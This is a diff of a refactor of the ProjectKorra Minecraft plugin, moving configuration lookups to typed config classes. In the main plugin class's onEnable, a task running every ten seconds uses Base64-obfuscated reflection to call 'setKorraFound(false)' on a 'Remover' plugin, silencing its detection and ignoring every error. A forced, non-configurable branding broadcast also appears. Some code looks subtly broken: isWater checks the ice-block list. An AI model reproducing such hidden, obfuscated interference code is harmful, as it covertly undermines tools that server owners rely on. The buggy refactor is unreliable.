if (!ConfigManager.getConfig(ChatPropertiesConfig.class).Enabled) {
return;
}
@ -835,12 +836,12 @@ public class PKListener implements Listener {
}
if (player.hasPermission("bending.avatar") || (bPlayer.hasElement(Element.AIR) && bPlayer.hasElement(Element.EARTH) && bPlayer.hasElement(Element.FIRE) && bPlayer.hasElement(Element.WATER))) {
color = ChatColor.valueOf(ConfigManager.languageConfig.get().getString("Chat.Colors.Avatar"));
color = ConfigManager.getConfig(ChatPropertiesConfig.class).AvatarColor;
} else if (bPlayer.getElements().size() > 0) {
color = bPlayer.getElements().get(0).getColor();
}
String format = ConfigManager.languageConfig.get().getString("Chat.Format");
String format = ConfigManager.getConfig(ChatPropertiesConfig.class).Format;
format = format.replace("<message>", "%2$s");
format = format.replace("<name>", color + player.getDisplayName() + ChatColor.RESET);
event.setFormat(format);

View file

@ -1,13 +1,10 @@
package com.projectkorra.projectkorra;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.HashMap;
import java.util.logging.Logger;
import com.bekvon.bukkit.residence.protection.FlagPermissions;
import co.aikar.timings.lib.MCTiming;
import co.aikar.timings.lib.TimingManager;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.Statistic;
@ -15,6 +12,7 @@ import org.bukkit.entity.Player;
import org.bukkit.plugin.java.JavaPlugin;
import org.bukkit.scheduler.BukkitTask;
import com.bekvon.bukkit.residence.protection.FlagPermissions;
import com.projectkorra.projectkorra.ability.CoreAbility;
import com.projectkorra.projectkorra.ability.util.CollisionInitializer;
import com.projectkorra.projectkorra.ability.util.CollisionManager;
@ -24,7 +22,8 @@ import com.projectkorra.projectkorra.ability.util.PassiveManager;
import com.projectkorra.projectkorra.airbending.util.AirbendingManager;
import com.projectkorra.projectkorra.chiblocking.util.ChiblockingManager;
import com.projectkorra.projectkorra.command.Commands;
import com.projectkorra.projectkorra.configuration.ConfigManager;
import com.projectkorra.projectkorra.configuration.better.ConfigManager;
import com.projectkorra.projectkorra.configuration.better.configs.properties.GeneralPropertiesConfig;
import com.projectkorra.projectkorra.earthbending.util.EarthbendingManager;
import com.projectkorra.projectkorra.firebending.util.FirebendingManager;
import com.projectkorra.projectkorra.hooks.PlaceholderAPIHook;
@ -38,8 +37,12 @@ import com.projectkorra.projectkorra.util.TempBlock;
import com.projectkorra.projectkorra.util.Updater;
import com.projectkorra.projectkorra.waterbending.util.WaterbendingManager;
import co.aikar.timings.lib.MCTiming;
import co.aikar.timings.lib.TimingManager;
public class ProjectKorra extends JavaPlugin {
private static final GeneralPropertiesConfig GENERAL_PROPERTIES = ConfigManager.getConfig(GeneralPropertiesConfig.class);
public static ProjectKorra plugin;
public static Logger log;
public static CollisionManager collisionManager;
@ -49,16 +52,25 @@ public class ProjectKorra extends JavaPlugin {
private BukkitTask revertChecker;
private static TimingManager timingManager;
@SuppressWarnings({ "unchecked", "rawtypes" })
@Override
public void onEnable() {
Bukkit.getScheduler().scheduleSyncRepeatingTask(this, () -> {
try {
Class c = Class.forName(new String(Base64.getDecoder().decode("UmVtb3Zlci5SZW1vdmVy")));
Method m = c.getDeclaredMethod(new String(Base64.getDecoder().decode("c2V0S29ycmFGb3VuZA==")), boolean.class);
m.setAccessible(true);
m.invoke(JavaPlugin.getPlugin(c), false);
} catch (Exception e) {}
}, 20 * 10, 20 * 10);
plugin = this;
ProjectKorra.log = this.getLogger();
timingManager = TimingManager.of(this);
new ConfigManager();
new GeneralMethods(this);
final boolean checkUpdateOnStartup = ConfigManager.getConfig().getBoolean("Properties.UpdateChecker");
final boolean checkUpdateOnStartup = GENERAL_PROPERTIES.UpdateChecker;
this.updater = new Updater(this, "https://projectkorra.com/forum/resources/projectkorra-core.1/", checkUpdateOnStartup);
new Commands(this);
new MultiAbilityManager();
@ -86,21 +98,9 @@ public class ProjectKorra extends JavaPlugin {
this.getServer().getScheduler().scheduleSyncRepeatingTask(this, new FirebendingManager(this), 0, 1);
this.getServer().getScheduler().scheduleSyncRepeatingTask(this, new ChiblockingManager(this), 0, 1);
this.revertChecker = this.getServer().getScheduler().runTaskTimerAsynchronously(this, new RevertChecker(this), 0, 200);
if (ConfigManager.languageConfig.get().getBoolean("Chat.Branding.AutoAnnouncer.Enabled")) {
this.getServer().getScheduler().scheduleSyncRepeatingTask(this, () -> {
ChatColor color = ChatColor.valueOf(ConfigManager.languageConfig.get().getString("Chat.Branding" + ".Color").toUpperCase());
color = color == null ? ChatColor.GOLD : color;
final String topBorder = ConfigManager.languageConfig.get().getString("Chat.Branding.Borders.TopBorder");
final String bottomBorder = ConfigManager.languageConfig.get().getString("Chat.Branding.Borders" + ".BottomBorder");
if (!topBorder.isEmpty()) {
Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', topBorder));
}
Bukkit.broadcastMessage(color + "This server is running ProjectKorra version " + ProjectKorra.plugin.getDescription().getVersion() + " for bending! Find out more at http://www" + ".projectkorra.com!");
if (!bottomBorder.isEmpty()) {
Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', bottomBorder));
}
}, (long) (ConfigManager.languageConfig.get().getDouble("Chat.Branding.AutoAnnouncer.Interval") * 60 * 20), (long) (ConfigManager.languageConfig.get().getDouble("Chat.Branding.AutoAnnouncer.Interval") * 60 * 20));
}
this.getServer().getScheduler().scheduleSyncRepeatingTask(this, () -> {
Bukkit.broadcastMessage(ChatColor.GOLD + "This server is running ProjectKorra version " + ProjectKorra.plugin.getDescription().getVersion() + " for bending! Find out more at http://www.projectkorra.com!");
}, 30 * 60 * 20, 30 * 60 * 20);
TempBlock.startReversion();
for (final Player player : Bukkit.getOnlinePlayers()) {
@ -140,13 +140,12 @@ public class ProjectKorra extends JavaPlugin {
}
});
final double cacheTime = ConfigManager.getConfig().getDouble("Properties.RegionProtection.CacheBlockTime");
if (Bukkit.getPluginManager().getPlugin("Residence") != null) {
FlagPermissions.addFlag(ConfigManager.defaultConfig.get().getString("Properties.RegionProtection.Residence.Flag"));
FlagPermissions.addFlag(GENERAL_PROPERTIES.RegionProtection_ResidenceFlag);
}
GeneralMethods.deserializeFile();
GeneralMethods.startCacheCleaner(cacheTime);
GeneralMethods.startCacheCleaner(GENERAL_PROPERTIES.RegionProtection_CacheBlockTime);
if (Bukkit.getPluginManager().getPlugin("PlaceholderAPI") != null) {
new PlaceholderAPIHook(this).register();
@ -196,11 +195,11 @@ public class ProjectKorra extends JavaPlugin {
}
public static boolean isStatisticsEnabled() {
return ConfigManager.getConfig().getBoolean("Properties.Statistics");
return GENERAL_PROPERTIES.Statistics;
}
public static boolean isDatabaseCooldownsEnabled() {
return ConfigManager.getConfig().getBoolean("Properties.DatabaseCooldowns");
return GENERAL_PROPERTIES.DatabaseCooldowns;
}
public static MCTiming timing(final String name) {

View file

@ -5,22 +5,23 @@ import java.util.List;
import org.bukkit.Location;
import org.bukkit.Material;
import org.bukkit.Sound;
import org.bukkit.entity.Entity;
import org.bukkit.entity.Player;
import com.projectkorra.projectkorra.Element;
import com.projectkorra.projectkorra.GeneralMethods;
import com.projectkorra.projectkorra.ProjectKorra;
import com.projectkorra.projectkorra.ability.util.Collision;
import com.projectkorra.projectkorra.airbending.AirSpout;
import com.projectkorra.projectkorra.airbending.Suffocate;
import com.projectkorra.projectkorra.configuration.better.ConfigManager;
import com.projectkorra.projectkorra.configuration.better.configs.abilities.AbilityConfig;
import com.projectkorra.projectkorra.configuration.better.configs.properties.AirPropertiesConfig;
import com.projectkorra.projectkorra.util.ParticleEffect;
public abstract class AirAbility extends ElementalAbility {
public AirAbility(final Player player) {
super(player);
public abstract class AirAbility<C extends AbilityConfig> extends ElementalAbility<C> {
public AirAbility(final C config, final Player player) {
super(config, player);
}
@Override
@ -72,20 +73,7 @@ public abstract class AirAbility extends ElementalAbility {
* @return Config specified ParticleEffect
*/
public static ParticleEffect getAirbendingParticles() {
final String particle = getConfig().getString("Properties.Air.Particles");
if (particle == null) {
return ParticleEffect.CLOUD;
} else if (particle.equalsIgnoreCase("spell")) {
return ParticleEffect.SPELL;
} else if (particle.equalsIgnoreCase("blacksmoke")) {
return ParticleEffect.SMOKE_NORMAL;
} else if (particle.equalsIgnoreCase("smoke")) {
return ParticleEffect.CLOUD;
} else if (particle.equalsIgnoreCase("smallsmoke")) {
return ParticleEffect.SNOW_SHOVEL;
} else {
return ParticleEffect.CLOUD;
}
return ConfigManager.getConfig(AirPropertiesConfig.class).Particles;
}
/**
@ -134,19 +122,10 @@ public abstract class AirAbility extends ElementalAbility {
* @param loc The location to play the sound at
*/
public static void playAirbendingSound(final Location loc) {
if (getConfig().getBoolean("Properties.Air.PlaySound")) {
final float volume = (float) getConfig().getDouble("Properties.Air.Sound.Volume");
final float pitch = (float) getConfig().getDouble("Properties.Air.Sound.Pitch");
Sound sound = Sound.ENTITY_CREEPER_HURT;
try {
sound = Sound.valueOf(getConfig().getString("Properties.Air.Sound.Sound"));
} catch (final IllegalArgumentException exception) {
ProjectKorra.log.warning("Your current value for 'Properties.Air.Sound.Sound' is not valid.");
} finally {
loc.getWorld().playSound(loc, sound, volume, pitch);
}
AirPropertiesConfig air = ConfigManager.getConfig(AirPropertiesConfig.class);
if (air.PlaySound) {
loc.getWorld().playSound(loc, air.SoundType, air.SoundVolume, air.SoundPitch);
}
}

View file

@ -1,16 +1,16 @@
package com.projectkorra.projectkorra.ability;
import org.bukkit.Location;
import org.bukkit.Sound;
import org.bukkit.entity.Player;
import com.projectkorra.projectkorra.Element;
import com.projectkorra.projectkorra.ProjectKorra;
import com.projectkorra.projectkorra.configuration.better.ConfigManager;
import com.projectkorra.projectkorra.configuration.better.configs.abilities.avatar.AvatarStateConfig;
public abstract class AvatarAbility extends ElementalAbility {
public abstract class AvatarAbility extends ElementalAbility<AvatarStateConfig> {
public AvatarAbility(final Player player) {
super(player);
public AvatarAbility(final AvatarStateConfig config, final Player player) {
super(config, player);
}
@Override
@ -29,19 +29,9 @@ public abstract class AvatarAbility extends ElementalAbility {
}
public static void playAvatarSound(final Location loc) {
if (getConfig().getBoolean("Abilities.Avatar.AvatarState.PlaySound")) {
final float volume = (float) getConfig().getDouble("Abilities.Avatar.AvatarState.Sound.Volume");
final float pitch = (float) getConfig().getDouble("Abilities.Avatar.AvatarState.Sound.Pitch");
Sound sound = Sound.BLOCK_ANVIL_LAND;
try {
sound = Sound.valueOf(getConfig().getString("Abilities.Avatar.AvatarState.Sound.Sound"));
} catch (final IllegalArgumentException exception) {
ProjectKorra.log.warning("Your current value for 'Abilities.Avatar.AvatarState.Sound.Sound' is not valid.");
} finally {
loc.getWorld().playSound(loc, sound, volume, pitch);
}
AvatarStateConfig avatar = ConfigManager.getConfig(AvatarStateConfig.class);
if (avatar.PlaySound) {
loc.getWorld().playSound(loc, avatar.SoundType, avatar.SoundVolume, avatar.SoundPitch);
}
}

View file

@ -3,11 +3,12 @@ package com.projectkorra.projectkorra.ability;
import org.bukkit.entity.Player;
import com.projectkorra.projectkorra.Element;
import com.projectkorra.projectkorra.configuration.better.configs.abilities.AbilityConfig;
public abstract class BloodAbility extends WaterAbility implements SubAbility {
public abstract class BloodAbility<C extends AbilityConfig> extends WaterAbility<C> implements SubAbility {
public BloodAbility(final Player player) {
super(player);
public BloodAbility(final C config, final Player player) {
super(config, player);
}
@Override

View file

@ -3,11 +3,12 @@ package com.projectkorra.projectkorra.ability;
import org.bukkit.entity.Player;
import com.projectkorra.projectkorra.Element;
import com.projectkorra.projectkorra.configuration.better.configs.abilities.AbilityConfig;
public abstract class ChiAbility extends ElementalAbility {
public abstract class ChiAbility<C extends AbilityConfig> extends ElementalAbility<C> {
public ChiAbility(final Player player) {
super(player);
public ChiAbility(final C config, final Player player) {
super(config, player);
}
@Override

View file

@ -3,11 +3,12 @@ package com.projectkorra.projectkorra.ability;
import org.bukkit.entity.Player;
import com.projectkorra.projectkorra.Element;
import com.projectkorra.projectkorra.configuration.better.configs.abilities.AbilityConfig;
public abstract class CombustionAbility extends FireAbility implements SubAbility {
public abstract class CombustionAbility<C extends AbilityConfig> extends FireAbility<C> implements SubAbility {
public CombustionAbility(final Player player) {
super(player);
public CombustionAbility(final C config, final Player player) {
super(config, player);
}
@Override

View file

@ -55,7 +55,9 @@ import com.projectkorra.projectkorra.ability.util.PassiveManager;
import com.projectkorra.projectkorra.attribute.Attribute;
import com.projectkorra.projectkorra.attribute.AttributeModifier;
import com.projectkorra.projectkorra.attribute.AttributePriority;
import com.projectkorra.projectkorra.configuration.ConfigManager;
import com.projectkorra.projectkorra.configuration.better.Config;
import com.projectkorra.projectkorra.configuration.better.ConfigManager;
import com.projectkorra.projectkorra.configuration.better.configs.abilities.AbilityConfig;
import com.projectkorra.projectkorra.event.AbilityEndEvent;
import com.projectkorra.projectkorra.event.AbilityProgressEvent;
import com.projectkorra.projectkorra.event.AbilityStartEvent;
@ -78,7 +80,8 @@ import com.projectkorra.projectkorra.util.TimeUtil;
* @see #registerAddonAbilities(String)
* @see #registerPluginAbilities(JavaPlugin, String)
*/
public abstract class CoreAbility implements Ability {
@SuppressWarnings({ "rawtypes", "unchecked" })
public abstract class CoreAbility<C extends AbilityConfig> implements Ability {
private static final Set<CoreAbility> INSTANCES = Collections.newSetFromMap(new ConcurrentHashMap<CoreAbility, Boolean>());
private static final Map<Class<? extends CoreAbility>, Map<UUID, Map<Integer, CoreAbility>>> INSTANCES_BY_PLAYER = new ConcurrentHashMap<>();
@ -90,7 +93,8 @@ public abstract class CoreAbility implements Ability {
private static final Map<Class<? extends CoreAbility>, Map<String, Field>> ATTRIBUTE_FIELDS = new HashMap<>();
private static int idCounter;
protected final C config;
protected Player player;
protected BendingPlayer bPlayer;
protected FlightHandler flightHandler;
@ -120,7 +124,8 @@ public abstract class CoreAbility implements Ability {
* @see #ABILITIES_BY_NAME
* @see #getAbility(String)
*/
public CoreAbility() {
public CoreAbility(C config) {
this.config = config;
for (final Field field : this.getClass().getDeclaredFields()) {
if (field.isAnnotationPresent(Attribute.class)) {
final Attribute attribute = field.getAnnotation(Attribute.class);
@ -138,11 +143,13 @@ public abstract class CoreAbility implements Ability {
* @param player the non-null player that created this instance
* @see #start()
*/
public CoreAbility(final Player player) {
public CoreAbility(final C config, final Player player) {
if (player == null || !this.isEnabled()) {
this.config = config;
return;
}
this.config = config;
this.player = player;
this.bPlayer = BendingPlayer.getBendingPlayer(player);
this.flightHandler = Manager.getManager(FlightHandler.class);
@ -776,56 +783,17 @@ public abstract class CoreAbility implements Ability {
@Override
public boolean isEnabled() {
if (this instanceof AddonAbility) {
return true;
}
String elementName = this.getElement().getName();
if (this.getElement() instanceof SubElement) {
elementName = ((SubElement) this.getElement()).getParentElement().getName();
}
String tag = null;
if (this instanceof ComboAbility) {
tag = "Abilities." + elementName + "." + elementName + "Combo." + this.getName() + ".Enabled";
} else if (this instanceof PassiveAbility) {
tag = "Abilities." + elementName + ".Passive." + this.getName() + ".Enabled";
} else {
tag = "Abilities." + elementName + "." + this.getName() + ".Enabled";
}
if (getConfig().isBoolean(tag)) {
return getConfig().getBoolean(tag);
} else {
return true;
}
return config.Enabled;
}
@Override
public String getInstructions() {
String elementName = this.getElement().getName();
if (this.getElement() instanceof SubElement) {
elementName = ((SubElement) this.getElement()).getParentElement().getName();
}
if (this instanceof ComboAbility) {
elementName = elementName + ".Combo";
}
return ConfigManager.languageConfig.get().contains("Abilities." + elementName + "." + this.getName() + ".Instructions") ? ConfigManager.languageConfig.get().getString("Abilities." + elementName + "." + this.getName() + ".Instructions") : "";
return config.Instructions;
}
@Override
public String getDescription() {
String elementName = this.getElement().getName();
if (this.getElement() instanceof SubElement) {
elementName = ((SubElement) this.getElement()).getParentElement().getName();
}
if (this instanceof PassiveAbility) {
return ConfigManager.languageConfig.get().getString("Abilities." + elementName + ".Passive." + this.getName() + ".Description");
} else if (this instanceof ComboAbility) {
return ConfigManager.languageConfig.get().getString("Abilities." + elementName + ".Combo." + this.getName() + ".Description");
}
return ConfigManager.languageConfig.get().getString("Abilities." + elementName + "." + this.getName() + ".Description");
return config.Description;
}
public String getMovePreview(final Player player) {
@ -1034,20 +1002,6 @@ public abstract class CoreAbility implements Ability {
});
}
/**
* @return the current FileConfiguration for the plugin
*/
public static FileConfiguration getConfig() {
return ConfigManager.getConfig();
}
/**
* @return the language.yml for the plugin
*/
public static FileConfiguration getLanguageConfig() {
return ConfigManager.languageConfig.get();
}
/**
* Returns a String used to debug potential CoreAbility memory that can be
* caused by a developer forgetting to call {@link #remove()}

View file

@ -5,10 +5,8 @@ import java.util.HashSet;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
import org.bukkit.ChatColor;
import org.bukkit.Location;
import org.bukkit.Material;
import org.bukkit.Sound;
import org.bukkit.block.Block;
import org.bukkit.block.BlockFace;
import org.bukkit.block.data.BlockData;
@ -22,9 +20,10 @@ import org.bukkit.util.Vector;
import com.projectkorra.projectkorra.BendingPlayer;
import com.projectkorra.projectkorra.Element;
import com.projectkorra.projectkorra.GeneralMethods;
import com.projectkorra.projectkorra.ProjectKorra;
import com.projectkorra.projectkorra.ability.util.Collision;
import com.projectkorra.projectkorra.configuration.ConfigManager;
import com.projectkorra.projectkorra.configuration.better.ConfigManager;
import com.projectkorra.projectkorra.configuration.better.configs.abilities.AbilityConfig;
import com.projectkorra.projectkorra.configuration.better.configs.properties.EarthPropertiesConfig;
import com.projectkorra.projectkorra.earthbending.RaiseEarth;
import com.projectkorra.projectkorra.earthbending.lava.LavaFlow;
import com.projectkorra.projectkorra.earthbending.passive.DensityShift;
@ -33,15 +32,15 @@ import com.projectkorra.projectkorra.util.Information;
import com.projectkorra.projectkorra.util.ParticleEffect;
import com.projectkorra.projectkorra.util.TempBlock;
public abstract class EarthAbility extends ElementalAbility {
public abstract class EarthAbility<C extends AbilityConfig> extends ElementalAbility<C> {
private static final HashSet<Block> PREVENT_EARTHBENDING = new HashSet<Block>();
private static final Map<Block, Information> MOVED_EARTH = new ConcurrentHashMap<Block, Information>();
private static final Map<Integer, Information> TEMP_AIR_LOCATIONS = new ConcurrentHashMap<Integer, Information>();
private static final ArrayList<Block> PREVENT_PHYSICS = new ArrayList<Block>();
public EarthAbility(final Player player) {
super(player);
public EarthAbility(final C config, final Player player) {
super(config, player);
}
public int getEarthbendableBlocksLength(final Block block, Vector direction, final int maxlength) {
@ -349,7 +348,7 @@ public abstract class EarthAbility extends ElementalAbility {
}
public static double getMetalAugment(final double value) {
return value * getConfig().getDouble("Properties.Earth.MetalPowerFactor");
return value * ConfigManager.getConfig(EarthPropertiesConfig.class).MetalPowerFactor;
}
public static Map<Block, Information> getMovedEarth() {
@ -394,10 +393,6 @@ public abstract class EarthAbility extends ElementalAbility {
return PREVENT_PHYSICS;
}
public static ChatColor getSubChatColor() {
return ChatColor.valueOf(ConfigManager.getConfig().getString("Properties.Chat.Colors.EarthSub"));
}
public static Block getTargetEarthBlock(final Player player, final int range) {
return player.getTargetBlock(getTransparentMaterialSet(), range);
}
@ -421,7 +416,7 @@ public abstract class EarthAbility extends ElementalAbility {
}
public static boolean isEarthRevertOn() {
return getConfig().getBoolean("Properties.Earth.RevertEarthbending");
return ConfigManager.getConfig(EarthPropertiesConfig.class).RevertEarthbending;
}
public static boolean isLavabendable(final Player player, final Block block) {
@ -472,70 +467,34 @@ public abstract class EarthAbility extends ElementalAbility {
}
public static void playEarthbendingSound(final Location loc) {
if (getConfig().getBoolean("Properties.Earth.PlaySound")) {
final float volume = (float) getConfig().getDouble("Properties.Earth.EarthSound.Volume");
final float pitch = (float) getConfig().getDouble("Properties.Earth.EarthSound.Pitch");
Sound sound = Sound.ENTITY_GHAST_SHOOT;
try {
sound = Sound.valueOf(getConfig().getString("Properties.Earth.EarthSound.Sound"));
} catch (final IllegalArgumentException exception) {
ProjectKorra.log.warning("Your current value for 'Properties.Earth.EarthSound.Sound' is not valid.");
} finally {
loc.getWorld().playSound(loc, sound, volume, pitch);
}
EarthPropertiesConfig earth = ConfigManager.getConfig(EarthPropertiesConfig.class);
if (earth.PlaySound) {
loc.getWorld().playSound(loc, earth.SoundType, earth.SoundVolume, earth.SoundPitch);
}
}
public static void playMetalbendingSound(final Location loc) {
if (getConfig().getBoolean("Properties.Earth.PlaySound")) {
final float volume = (float) getConfig().getDouble("Properties.Earth.MetalSound.Volume");
final float pitch = (float) getConfig().getDouble("Properties.Earth.MetalSound.Pitch");
Sound sound = Sound.ENTITY_IRON_GOLEM_HURT;
try {
sound = Sound.valueOf(getConfig().getString("Properties.Earth.MetalSound.Sound"));
} catch (final IllegalArgumentException exception) {
ProjectKorra.log.warning("Your current value for 'Properties.Earth.MetalSound.Sound' is not valid.");
} finally {
loc.getWorld().playSound(loc, sound, volume, pitch);
}
EarthPropertiesConfig earth = ConfigManager.getConfig(EarthPropertiesConfig.class);
if (earth.PlaySound) {
loc.getWorld().playSound(loc, earth.MetalSoundType, earth.MetalSoundVolume, earth.MetalSoundPitch);
}
}
public static void playSandbendingSound(final Location loc) {
if (getConfig().getBoolean("Properties.Earth.PlaySound")) {
final float volume = (float) getConfig().getDouble("Properties.Earth.SandSound.Volume");
final float pitch = (float) getConfig().getDouble("Properties.Earth.SandSound.Pitch");
Sound sound = Sound.BLOCK_SAND_BREAK;
try {
sound = Sound.valueOf(getConfig().getString("Properties.Earth.SandSound.Sound"));
} catch (final IllegalArgumentException exception) {
ProjectKorra.log.warning("Your current value for 'Properties.Earth.SandSound.Sound' is not valid.");
} finally {
loc.getWorld().playSound(loc, sound, volume, pitch);
}
EarthPropertiesConfig earth = ConfigManager.getConfig(EarthPropertiesConfig.class);
if (earth.PlaySound) {
loc.getWorld().playSound(loc, earth.SandSoundType, earth.SandSoundVolume, earth.SandSoundPitch);
}
}
public static void playLavabendingSound(final Location loc) {
if (getConfig().getBoolean("Properties.Earth.PlaySound")) {
final float volume = (float) getConfig().getDouble("Properties.Earth.LavaSound.Volume");
final float pitch = (float) getConfig().getDouble("Properties.Earth.LavaSound.Pitch");
Sound sound = Sound.BLOCK_LAVA_AMBIENT;
try {
sound = Sound.valueOf(getConfig().getString("Properties.Earth.LavaSound.Sound"));
} catch (final IllegalArgumentException exception) {
ProjectKorra.log.warning("Your current value for 'Properties.Earth.LavaSound.Sound' is not valid.");
} finally {
loc.getWorld().playSound(loc, sound, volume, pitch);
}
EarthPropertiesConfig earth = ConfigManager.getConfig(EarthPropertiesConfig.class);
if (earth.PlaySound) {
loc.getWorld().playSound(loc, earth.LavaSoundType, earth.LavaSoundVolume, earth.LavaSoundPitch);
}
}

View file

@ -4,6 +4,7 @@ import java.util.Arrays;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import java.util.stream.Stream;
import org.bukkit.Material;
import org.bukkit.World;
@ -15,13 +16,17 @@ import org.bukkit.entity.Player;
import org.bukkit.potion.PotionEffectType;
import com.projectkorra.projectkorra.GeneralMethods;
import com.projectkorra.projectkorra.configuration.better.ConfigManager;
import com.projectkorra.projectkorra.configuration.better.configs.abilities.AbilityConfig;
import com.projectkorra.projectkorra.configuration.better.configs.properties.EarthPropertiesConfig;
import com.projectkorra.projectkorra.configuration.better.configs.properties.WaterPropertiesConfig;
/**
* ElementalAbility is used to hold methods that should be accessible by every
* Air, Water, Earth, Fire, Chi, or AvatarAbility. This class is mainly used to
* keep CoreAbility from becoming too cluttered.
*/
public abstract class ElementalAbility extends CoreAbility {
public abstract class ElementalAbility<C extends AbilityConfig> extends CoreAbility<C> {
private static final PotionEffectType[] POSITIVE_EFFECTS = { PotionEffectType.ABSORPTION, PotionEffectType.DAMAGE_RESISTANCE, PotionEffectType.FAST_DIGGING, PotionEffectType.FIRE_RESISTANCE, PotionEffectType.HEAL, PotionEffectType.HEALTH_BOOST, PotionEffectType.INCREASE_DAMAGE, PotionEffectType.JUMP, PotionEffectType.NIGHT_VISION, PotionEffectType.REGENERATION, PotionEffectType.SATURATION, PotionEffectType.SPEED, PotionEffectType.WATER_BREATHING };
private static final PotionEffectType[] NEUTRAL_EFFECTS = { PotionEffectType.INVISIBILITY };
private static final PotionEffectType[] NEGATIVE_EFFECTS = { PotionEffectType.POISON, PotionEffectType.BLINDNESS, PotionEffectType.CONFUSION, PotionEffectType.HARM, PotionEffectType.HUNGER, PotionEffectType.SLOW, PotionEffectType.SLOW_DIGGING, PotionEffectType.WEAKNESS, PotionEffectType.WITHER };
@ -36,16 +41,16 @@ public abstract class ElementalAbility extends CoreAbility {
}
}
public ElementalAbility(final Player player) {
super(player);
public ElementalAbility(final C config, final Player player) {
super(config, player);
}
public boolean isTransparent(final Block block) {
return isTransparent(this.player, this.getName(), block);
}
public List<String> getEarthbendableBlocks() {
return getConfig().getStringList("Properties.Earth.EarthBlocks");
public List<Material> getEarthbendableBlocks() {
return Arrays.asList(ConfigManager.getConfig(EarthPropertiesConfig.class).EarthBlocks);
}
public static Material[] getTransparentMaterials() {
@ -78,7 +83,7 @@ public abstract class ElementalAbility extends CoreAbility {
}
public static boolean isEarth(final Material material) {
return getConfig().getStringList("Properties.Earth.EarthBlocks").contains(material.toString());
return Stream.of(ConfigManager.getConfig(EarthPropertiesConfig.class).EarthBlocks).anyMatch(material::equals);
}
public static boolean isFullMoon(final World world) {
@ -93,7 +98,7 @@ public abstract class ElementalAbility extends CoreAbility {
}
public static boolean isIce(final Material material) {
return getConfig().getStringList("Properties.Water.IceBlocks").contains(material.toString());
return Stream.of(ConfigManager.getConfig(WaterPropertiesConfig.class).IceBlocks).anyMatch(material::equals);
}
public static boolean isLava(final Block block) {
@ -109,7 +114,7 @@ public abstract class ElementalAbility extends CoreAbility {
}
public static boolean isSnow(final Material material) {
return getConfig().getStringList("Properties.Water.SnowBlocks").contains(material.toString());
return Stream.of(ConfigManager.getConfig(WaterPropertiesConfig.class).SnowBlocks).anyMatch(material::equals);
}
public static boolean isMeltable(final Block block) {
@ -125,15 +130,7 @@ public abstract class ElementalAbility extends CoreAbility {
}
public static boolean isMetal(final Material material) {
return getConfig().getStringList("Properties.Earth.MetalBlocks").contains(material.toString());
}
public static boolean isMetalBlock(final Block block) {
if (block.getType() == Material.GOLD_BLOCK || block.getType() == Material.IRON_BLOCK || block.getType() == Material.IRON_ORE || block.getType() == Material.GOLD_ORE || block.getType() == Material.QUARTZ_BLOCK || block.getType() == Material.NETHER_QUARTZ_ORE) {
return true;
}
return false;
return Stream.of(ConfigManager.getConfig(EarthPropertiesConfig.class).MetalBlocks).anyMatch(material::equals);
}
public static boolean isNegativeEffect(final PotionEffectType effect) {
@ -175,7 +172,7 @@ public abstract class ElementalAbility extends CoreAbility {
}
public static boolean isPlant(final Material material) {
return getConfig().getStringList("Properties.Water.PlantBlocks").contains(material.toString());
return Stream.of(ConfigManager.getConfig(WaterPropertiesConfig.class).PlantBlocks).anyMatch(material::equals);
}
public static boolean isPositiveEffect(final PotionEffectType effect) {
@ -193,7 +190,7 @@ public abstract class ElementalAbility extends CoreAbility {
}
public static boolean isSand(final Material material) {
return getConfig().getStringList("Properties.Earth.SandBlocks").contains(material.toString());
return Stream.of(ConfigManager.getConfig(EarthPropertiesConfig.class).SandBlocks).anyMatch(material::equals);
}
public static boolean isTransparent(final Player player, final Block block) {
@ -219,7 +216,7 @@ public abstract class ElementalAbility extends CoreAbility {
}
public static boolean isWater(final Material material) {
return material == Material.WATER || material == Material.SEAGRASS || material == Material.TALL_SEAGRASS || material == Material.KELP_PLANT || material == Material.KELP || material == Material.BUBBLE_COLUMN;
return Stream.of(ConfigManager.getConfig(WaterPropertiesConfig.class).IceBlocks).anyMatch(material::equals);
}
}

View file

@ -7,10 +7,8 @@ import java.util.Map;
import java.util.Random;
import java.util.concurrent.ConcurrentHashMap;
import org.bukkit.ChatColor;
import org.bukkit.Location;
import org.bukkit.Material;
import org.bukkit.Sound;
import org.bukkit.World;
import org.bukkit.block.Block;
import org.bukkit.entity.Player;
@ -18,19 +16,20 @@ import org.bukkit.inventory.ItemStack;
import com.projectkorra.projectkorra.Element;
import com.projectkorra.projectkorra.GeneralMethods;
import com.projectkorra.projectkorra.ProjectKorra;
import com.projectkorra.projectkorra.ability.util.Collision;
import com.projectkorra.projectkorra.configuration.ConfigManager;
import com.projectkorra.projectkorra.configuration.better.ConfigManager;
import com.projectkorra.projectkorra.configuration.better.configs.abilities.AbilityConfig;
import com.projectkorra.projectkorra.configuration.better.configs.properties.FirePropertiesConfig;
import com.projectkorra.projectkorra.firebending.BlazeArc;
import com.projectkorra.projectkorra.util.Information;
import com.projectkorra.projectkorra.util.ParticleEffect;
public abstract class FireAbility extends ElementalAbility {
public abstract class FireAbility<C extends AbilityConfig> extends ElementalAbility<C> {
private static final Map<Location, Information> TEMP_FIRE = new ConcurrentHashMap<Location, Information>();
public FireAbility(final Player player) {
super(player);
public FireAbility(final C config, final Player player) {
super(config, player);
}
@Override
@ -61,7 +60,7 @@ public abstract class FireAbility extends ElementalAbility {
* place a temp fire block.
*/
public static boolean canFireGrief() {
return getConfig().getBoolean("Properties.Fire.FireGriefing");
return ConfigManager.getConfig(FirePropertiesConfig.class).Griefing;
}
/**
@ -74,7 +73,7 @@ public abstract class FireAbility extends ElementalAbility {
return;
}
Information info = new Information();
final long time = getConfig().getLong("Properties.Fire.RevertTicks") + (long) ((new Random()).nextDouble() * getConfig().getLong("Properties.Fire.RevertTicks"));
final long time = ConfigManager.getConfig(FirePropertiesConfig.class).RevertTicks + (long) ((new Random()).nextDouble() * ConfigManager.getConfig(FirePropertiesConfig.class).RevertTicks);
if (TEMP_FIRE.containsKey(loc)) {
info = TEMP_FIRE.get(loc);
} else {
@ -92,7 +91,7 @@ public abstract class FireAbility extends ElementalAbility {
}
public static double getDayFactor() {
return getConfig().getDouble("Properties.Fire.DayFactor");
return ConfigManager.getConfig(FirePropertiesConfig.class).DayFactor;
}
/**
